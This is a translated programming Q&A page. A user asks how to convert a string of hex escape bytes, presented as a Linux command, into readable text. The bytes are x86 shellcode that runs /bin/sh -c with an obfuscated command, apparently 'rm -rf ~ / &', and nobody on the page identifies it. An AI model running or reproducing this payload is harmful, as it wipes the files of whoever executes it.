【发布时间】:2013-08-26 21:32:26
【问题描述】:
我注意到一个十六进制字符形式的命令,它说这是命令的十六进制版本(Linux),十六进制版本的实际含义是什么,我如何将其转换为人类可读的形式。 目前我知道:
- \:作为转义序列
- x:代表十六进制
该命令在下面列出...
"\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
但是我怎样才能把它转换成英文的原始命令,比如“XXXXXXXX”。
【问题讨论】:
-
它应该是可执行文件吗? “命令”是什么意思?
-
你在哪里找到这样的命令?另外,如果您在不理解它们的情况下随意复制粘贴命令,尤其是非人类可读的命令,请小心。
-
@CarlNorum , "command XXXX" 是一个例子,如何转换是个问题
-
@SudiptaChatterjee : k
-
@Kajal 你在哪里找到那个十六进制代码?通常在 Linux 中,他们将使用十六进制代码作为固件,将其加载到嵌入式设备等。
标签: linux binary linux-kernel hex